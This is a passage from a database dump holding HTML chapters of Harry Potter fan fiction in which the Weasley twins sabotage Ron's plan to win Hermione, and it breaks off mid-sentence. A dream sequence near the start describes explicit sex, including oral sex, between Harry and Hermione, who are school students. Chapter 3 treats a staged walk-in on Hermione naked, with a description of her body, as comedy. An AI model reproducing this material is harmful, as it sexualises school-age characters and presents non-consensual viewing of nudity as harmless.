you see the look on Ron&#8217;s many faces.&#8221;&nbsp; Fred said as he pulled out the list from\npocket handing it to George.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">George walked over to Ginny&#8217;s\nnightstand and picked up a quill and dipped it into the ink, he looked at plan\nnumber two.&nbsp; &#8220;well I think we got the\nhelp Hermione unpack and sneak in cheap feel plans out of the way.&#8221; He crossed\nout numbers two and three on the list.&nbsp;\n&#8220;And well her and Harry were on the ground together I think that was\nbetter than a measly ole hug don&#8217;t you?&#8221; George said looking at his brother. &#8220;Hh by the way how did you get the fairies to agree to help\nus?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I promised them all the honey they\ncould eat.&#8221; Fred said with a smirk. &#8220;You know how fairies love the stuff.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,&#8221; George nodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So what&#8217;s next on the list?&#8221; Fred\nasked with a cheesy grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;After dinner spend some alone\ntime with Hermione.&#8221; George started chuckling. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yep I don&#8217;t think Ron&#8217;s gonna be\ngetting his alone time at all.&#8221; Fred joined in on the laughter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron needed a nap to wash away this\nhorrible day, he laid back on his bed and looked up at the ceiling, within a\nfew minutes his eyes closed and he drifted off to the world of dreams&#8212; <i style="mso-bidi-font-style:normal">the gentle waves washed up onto the sandy\nbeach</i>, <i style="mso-bidi-font-style:normal">Hermione was coming towards\nhim with a lovely smile on her face and her hand waving gracefully in the\nair.&nbsp; Her thin, white practically see\nthrough dress ruffled delicately behind her as she finally reached him, he was\nstanding on a soft beach towel he had been waiting for her.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Hello&#8212;&#8221; She was cut off when a finger was pressed to her lips.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Shhh, don&#8217;t talk.&#8221; He pulled his finger away\nand his mouth claimed hers with a hot and vibrant need. His tongue twirled with\nhers like a soft ballet and they sank to the ground with him on top of her. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She felt his mouth travel down her neck, between her breasts and over\nher belly. He glanced up at her a moment and saw a brilliant light in her eyes,\nit was desire and love all mixed into one.&nbsp;\nHe slowly lifted the hem of her dress he wasn&#8217;t shocked to see that she\nwasn&#8217;t wearing anything underneath.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He returned his gaze to what he wanted to see, he gently pushed her\nlegs apart to reveal the jewel of her body.&nbsp;\nHe took in a breath as his tongue lightly flicked at her little button\nhe heard her give of a soft moan of approval and he continued.&nbsp; His mouth worked wonders on her as she felt\nhis tongue also enter into the hot crevice of her body, she started to shake as\nhe moved about trying to please her.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">She was breathing hard, faster and faster she clutched the towel within\nher fingers as she felt the world fade away, her blissful cries filled the air\nin all it&#8217;s radiance.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He crawled back on top of her looking into her eyes.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Oh make love to me,&#8221; She said her voice coming out in short breaths.\n&#8220;Harry, I need you, make love to me now.&#8221;&nbsp;\n</i>&#8220;<i style="mso-bidi-font-style:normal">&#8211;</i>NO!! NO!! NO!!\nHarry!&nbsp; Hermione! NOOO!&#8221; Ron tossed and\nturned hard in his bed his shouts filling the room. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was shaking him hard on the\nshoulder.&nbsp; &#8220;Ron, Ron wake up! Wake up!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;NOOOO!&#8221; Ron turned once more and\nTHUD!!!&nbsp; He landed on the floor flat on\nhis back, hard &#8220;OOOW!&#8221; Ron shouted up at the ceiling from on the floor.&nbsp; Harry and Hermione&#8217;s heads both came into\nview, they were looking down at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was trying not to laugh\nfrom Ron falling off the bed. &#8220;Ron, are you alright?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You two are horrible.&#8221; Ron said\npointing up at them a look of absolute anger plastered across his face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Harry and Hermione looked at\neach other and then back at Ron oddly. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron, what are you talking about?&#8221;\nHarry asked obviously very confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He looked around, he was in his\nroom not on the beach. It was a dream. He was so relieved.&nbsp; &#8220;Oh, nothing. I was just having a nightmare.&#8221;\nHe confessed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What was it about?&#8221; Hermione said\ncrouching down next to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Uh.&#8221; Ron hesitated there was no\nway he was going to tell her. &#8220;Nothing, it doesn&#8217;t matter, besides I can barely\nremember now.&nbsp; Is dinner ready?&nbsp; I&#8217;m starved.&#8221; He jumped up from the floor and\nraced out the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked up at Harry,\n&#8220;Harry is it just me or is he just getting stranger?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head with\namusement, &#8220;It&#8217;s not you, he&#8217;s definitely getting stranger.&#8221; He said with a\nsmile.&nbsp; Harry held out his hand and\nHermione grabbed it, she felt the same tingly sensation she did a few hours ago\nas he pulled her to her feet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They stood there starring at each\nother for a moment, Hermione was lost in his deep, emerald pools. She was lost\nfor the moment. &nbsp;She shook her head and\npulled her hand from his &#8220;Uh, dinner.&#8221; She said and quickly turned and left the\nroom, Harry followed after her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Was he loosing his mind, he so\nwanted to stand there and kiss her senseless.&nbsp;\nHe shouldn&#8217;t be thinking about his best friend that way.&nbsp; He watched her walking ahead of him, he\nsighed. It was hopeless, he would put those thoughts from his head. He agreed\nno more thinking about Hermione Granger, no more. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hee hee Ron fell off the bed.&nbsp;\nWell stay tuned for Chapter 3 it will be out as soon as possible\ndepending on my Soul Scepter and it&#8217;s sequels schedule.&nbsp; Please Read and review, Thanks Ryoko</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks to all my reviewers, I love you all. *kiss kiss*</p>\n\n\n\n\n\n\n'),
	(14, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Disclaimer: All original Harry Potter characters belong to\nJ.K. Rowlings, not me. *sigh* Oh well&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">One Hot Summer</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 3&#8212;Ronnella</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Fred and George finished up the dishes from dinner as Harry,\nHermione and Ron went outside.&nbsp; The three\nof them had already helped with the cleanup enough; their part of the work was\ndone, so they went to relax.&nbsp; As soon as\nthe front screen closed Fred leaned closer to George so that only he could hear\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;ve been thinking about this plan of Ron&#8217;s, and well I\nthink plan number twelve should be put into action tonight as well.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">George looked at him oddly, &#8220;Why is that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It would just seem funnier, and besides. It would make Ron\nextra angry.&nbsp; Well earlier this afternoon\nwhen Harry and Hermione were on the ground together, that look on Ron&#8217;s face\nwas just priceless, so imagine how he would look if he&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">George finished before him, &#8220;If he missed his chance to see\nHermione naked cause it was all the way down at number twelve.&#8221;&nbsp; George laughed, &#8220;Brilliant my brother,\nbrilliant.&#8221; George put his finger to his chin, &#8220;I&#8217;ve been also thinking, let\nRon have his moment alone with Hermione tonight, so it doesn&#8217;t look like\nthere&#8217;s something or someone messing up his plans.&nbsp; Since it&#8217;s so early in his plan, he probably\nwon&#8217;t even try anything with her, besides if he does we can always have the\nfairies drop a bucket of water on them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Fred nodded, &#8220;Yeah good idea, we don&#8217;t want Ron getting\nsuspicious of us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Good then, I&#8217;ll call Harry in here to help us finish with\nthe dishes, it should take a good half hour.&nbsp; Giving him his alone time with\nHermione.&#8221;&nbsp; He walked to the screen door\nand shouted out it.&nbsp; &#8220;Hey Harry, do you\nthink you can give us a hand in here.&nbsp;\nThere&#8217;s still so much to do and we need some help.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah sure.&#8221; Harry said as he stood\nup from porch swing and headed inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron&#8217;s eyes lit up, he was alone with Hermione at last.&nbsp; He looked over at her,\nhalf of her was already bathed in moonlight, now to think of something to say\nthat would interest her.&nbsp; He had just the\nthing, appeal to her academics.&nbsp; &#8220;So are\nyou glad about making Head Girl?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked over at Ron oddly, &#8220;I told you already that\nI declined Head Girl.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron felt his cheeks flush with embarrassment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Do you not listen to me at all?&#8221; Hermione was feeling\nslightly irritated she didn&#8217;t know why Ron never listened to her; Harry\nlistened to her all the time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh that&#8217;s right, I remember now.&#8221; Ron said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Okay then, why did I decline Head Girl?&#8221; She crossed her\narms over her bosom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Uh, uh.&#8221; Ron couldn&#8217;t think, he didn&#8217;t know what she said.&nbsp; It was true he didn&#8217;t listen to her at all\nthrough dinner, he kept staring at her lips as they moved and wondered what it\nwould be like if he kissed her.&nbsp; He\ndidn&#8217;t hear a word she had said.&nbsp; They\nheard a voice shout through the screen door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Because she&#8217;s wants to relax a little bit this year Ron.&nbsp; Even though\nshe still wants to make top marks she wants to take it a little easy.&nbsp; It&#8217;s the last year of school you know.&#8221; Harry\nshouted reciting the same exact words Hermione had said at dinner and he went\nback to dishes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione lifted an eyebrow looking at Ron tapping her foot\non the wood planks waiting for his answer.&nbsp;\nWhen she realized she wasn&#8217;t going to get one she shook her head and\nturned away, looking in the other direction.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron felt himself start to sweat, &#8216;<i style="mso-bidi-font-style:\nnormal">Great going moron</i>,&#8217; he insulted himself.&nbsp;&nbsp; &#8220;Oh Hermione I&#8217;m sorry I wasn&#8217;t listening,\nbut you know how I get around food.&#8221; He was hoping she would forgive him.&nbsp; He saw her body relax and she turned to face\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I know how you are around food,\nit&#8217;s still no excuse not to listen when you personally asked me during dinner\nif I had made Head Girl.&#8221; Her arms were still crossed in front of her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m sorry, I really am.&#8221; He gave her a pouty look, pleading\nfor her to forgive him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione couldn&#8217;t help it; he looked so funny that way that\nshe cracked a smile. &#8220;Okay Ron, stop that I forgive your behavior.&#8221;&nbsp; She saw him smile and she turned back in the\nother direction, she was watching a few fairies dancing about the air and\ngiggling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stared at Hermione, oh she was so close.&nbsp; He could kiss her right now and no one could\nstop him. Harry was inside with Fred and George, he finally had his moment, and\nhe was going to take it.&nbsp; Nothing would\nmess this up now.&nbsp; He leaned in closer,\nand closer all he would have to do was say her name she would turn and he would\nplant one right on the lips.&nbsp; Closer and\ncloser he came until the ropes of the swing busted and CRASH!!! Both of them\nlanded on the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron looked up from lying on his back and what he saw above\nhim were three fairies giggling looking down at him.&nbsp; He closed his eyes willing himself not to\nshout out his frustration.&nbsp; He looked\nover at Hermione who seemed stunned from her fall.&nbsp; &#8220;Are you all right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah I&#8217;m fine.&#8221; Hermione got to her feet and brushed the\ndust off of her shorts.&nbsp; &#8220;Boy what luck\nhuh?&#8221; She looked up at the torn ropes, &#8220;Well it looks like it was only a matter\nof time before this was going to happen, these ropes\nare so old.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stood up &#8220;Yeah sure.&#8221; His voice was quiet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m gonna go in and see if Harry and your brothers need\nsome more help.&#8221; She turned around but Ron yelled after her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No wait!&#8221; He shouted and Hermione quickly spun on her\nheels.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What is it?&#8221; Hermione&#8217;s voice held concern since he shouted\nso desperately after her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Uh, uh.&#8221; Ron&#8217;s hands went behind\nhis back, as he couldn&#8217;t think of what to say.&nbsp;\nHe felt a small tapping on his shoulder and something was shoved into\nhis hand.&nbsp; He felt around a bit with his\nfingers, it was a flower.&nbsp; He pulled his\nhands from behind his back as three fairies flew past him hovering about near\nHermione.&nbsp; &#8220;I have a flower for you.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione gave him an odd look, &#8220;You&#8217;re giving me a flower?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yep.&#8221; Ron smiled and held the\nflower out to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She stepped forward carefully and took the simple white\nflower in her hand; she decided to see what it scent\nit was. Hermione lifted the white flower to her nose and a burst of sparkly\nblue paint sprayed out all over her face and clothes.&nbsp; Ron&#8217;s eyes went wide with horror.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;RON!! Uh!&nbsp; I should\nhave known.&#8221; She shouted, glaring she threw the flower down and stomped on it,\ncrushing it into paste.&nbsp; &#8220;When are you going to grow up!!?&#8221; She turned on her heels\nand threw open the screen door it banged on the outside of the house.&nbsp; Her angry footsteps carried her quickly up\nthe stairs; the last thing that was heard was a door slamming.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron looked up at the fairies who were giggling &#8220;Why are you\ndoing this to me?!&#8221; He shouted at them, but they just kept right on\nlaughing.&nbsp; One fairy blew him a kiss and\nthey all darted away. George, Fred and Harry came rushing outside. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;Ron what happened,\nwhy was Hermione so angry?&#8221;&nbsp; Harry asked, he didn&#8217;t see what happened to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron pointed towards the ground at the smashed flower, &#8220;I\ngave Hermione a flower and well it kind sprayed blue paint in her face.&#8221;&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Fred and George just about fell over with\nlaughter. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ron you gave her one of our Weasley Power Flowers?&#8221; Fred\nsaid.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Excellent prank little brother.&#8221; George said patting Ron on\nthe back. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I didn&#8217;t mean too, I thought she was hurt from the fall and\nI gave her a flower to make her feel better.&#8221;&nbsp;\nRon said shaking his head; he had enough of this day. &#8220;I&#8217;m going to\nbed.&#8221; He turned and went inside the house and straight to his room, he heard\nthe shower on in the bathroom.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">No Ron that&#8217;s plan number twelve, besides\nshe&#8217;ll probably curse you at this time.&nbsp;\nBetter wait</i>.&#8217;&nbsp; He agreed with\nhimself and went into his room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">George, Fred and Harry went back inside the house.&nbsp; &#8220;Hey Harry we want to show you our new\nproduct, how about coming into our room for a bit?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry nodded, &#8220;All right.&#8221; He said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;And they all went up\nthe stairs, and quickly without letting Harry notice George opened the door to\nRon&#8217;s bedroom leaving it slightly ajar, and they rushed into their own, Fred\nheard the shower stop and George noticed that the bedroom door to Ginny&#8217;s room\nshut quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Fred looked through the drawers &#8220;Uh I can&#8217;t find the yellow\negg, &#8221; He stood straight, &#8220;I think it might be in\nGinny&#8217;s room, we were discussing it with her last before she left for Paris.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know I think you&#8217;re right Fred.&#8221; George said turning to\nHarry, &#8220;Would you mind taking a quick leap over to Ginny&#8217;s room and retrieve\nthe egg I think I recall it last being on her dresser.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, sure.&#8221; Harry made for the\ndoor but turned around to face the twins as they were continuing to look for\nthe rest of their product. He decided that his question could wait he went out\ninto the hall towards Ginny&#8217;s bedroom.&nbsp;\nHarry knocked lightly on the door.&nbsp;\n&#8220;Hermione, you in there?&#8221;&nbsp; He heard a yeah and another faint noise that\nsounded like come in.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry opened the door and his eyes went wide and his face\nflushed as standing before him was Hermione and boy did she look good\nnaked.&nbsp; Her breasts were round and full,\nher tummy was firm and trim.&nbsp; Her thighs\nwere shapely and her&#8212; His thoughts were cut off by Hermione&#8217;s scream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;AHHHH!!!!&#8221; Hermione covered\nherself quickly with the towel &#8220;HARRY WHAT ARE YOU DOING?!!!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He couldn&#8217;t stop starring at her &#8220;Oh Hermione, I am soooo\nsorry I didn&#8217;t mean, I thought you said&#8212;&#8221; The door slammed in his face not\nletting him continue apologizing.&nbsp; Not\neven a second later Ron came barreling out his room cause of Hermione&#8217;s loud\npiercing scream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What happened? I heard Hermione scream and&#8212;&#8221; Ron saw Harry\nturn from Ginny&#8217;s door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8212;I just saw something.&#8221; Harry cleared his throat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What?&#8221; Ron was worried, what did Harry see?&nbsp; Was Hermione hurt?&nbsp; He had to know.&nbsp; &#8220;What did you see?&#8221;&nbsp; Harry looked as if he hadn&#8217;t heard a word Ron\nsaid, he seemed dazed. Ron grabbed Harry by the shoulders, &#8220;What\nhappened?&#8221;&nbsp; That seemed to shake Harry\nout of his daze, well maybe just a little bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione&#8212;naked&#8212;saw&#8212;I.&#8221; Harry said,\nand for some reason he forgot all about the twin&#8217;s project and went into Ron&#8217;s\nroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stood there piecing together what Harry said, it then\nstruck him. &#8220;OH NO!!&#8221; He banged his fists against the wall.&nbsp; He went right into his room and flumped down\nroughly on his bed.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">WHY IS MY PLAN GOING TO SHIT!!&#8217;</i> He screamed to himself, everything that he wanted to\nhappen to him was happening to Harry.&nbsp; He\nlooked over at the other bed in his room, &#8216;<i style="mso-bidi-font-style:normal">Does\nhe have a plan too?&#8217; </i>His mind asked.&nbsp;\n&#8216;<i style="mso-bidi-font-style:normal">No, these are just accidents.\nHe&#8217;s innocent; he&#8217;s your friend Ron.&nbsp;\nHarry wouldn&#8217;t have a plan; he doesn&#8217;t even know you like Hermione so\nwhy would he have a plan.&#8217;</i>&nbsp; Okay Ron\nthought, okay Harry doesn&#8217;t have a plan.&nbsp; Okay tomorrow he was taking Harry and\nHermione to the pond for swimming; at least he would get to see her in a\nbathing suit. Yes, yes.&nbsp; All will be\nfine, he still had a quite a lot on his list.&nbsp;\nTomorrow would be better. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron nestled himself into his covers, he pulled them tightly\naround himself and began drifting off into his dreams, hopefully this time they\nwould not be about Harry and Hermione, just as he was falling asleep he kept\nsaying to himself, Me and Hermione, me and Hermione. Me and\nHermione. &#8212;<i style="mso-bidi-font-style:normal">His ankles and wrists\nwere bound to something rather sticky.&nbsp;\nHe looked up and saw a person on a white horse coming towards him.&nbsp; It looked like a medieval knight.&nbsp; He looked down at his feet and noticed he was\nin a pink gown.&nbsp; &#8220;What the Hell?&#8221; He\nshouted, he looked closer to his chest and relieved that he didn&#8217;t have breasts,\nat least he was still a man, but a man in a dress.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">The knight on the\nhorse came towards him and dismounted, &#8220;Fear not fair Ronnella.&nbsp; I Lady Hermione, Knightress, of the Round\nTable have to come to set you free.&#8221; She said pulling out a sword.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">They heard a snarling\nnoise coming from above them and a large spider dropped down, Ronnella started\nshrieking like a girl.&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;No mere spider is a\nmatch for Lady Hermione, HA&#8212;HA!!&#8221; She ran and jumped on its back, the spider\nstarted bucking around trying to knock the knightress off.&nbsp; Lady Hermione lifted her sword and plunged it\ninto the neck of the spider; it squealed and sank to the ground dead.&nbsp; Lady Hermione jumped off of the dead spider and\nstarted towards Ronnella.&nbsp; &#8220;I have\nvanquished the evil Orn.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8220;Oh\nmy heroine.&#8221;</i><i style="mso-bidi-font-style:normal"> Ronnella said in\na cheesy voice.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">A large smile crept\nupon Lady Hermione&#8217;s face as she neared him, she was going to kiss him, and 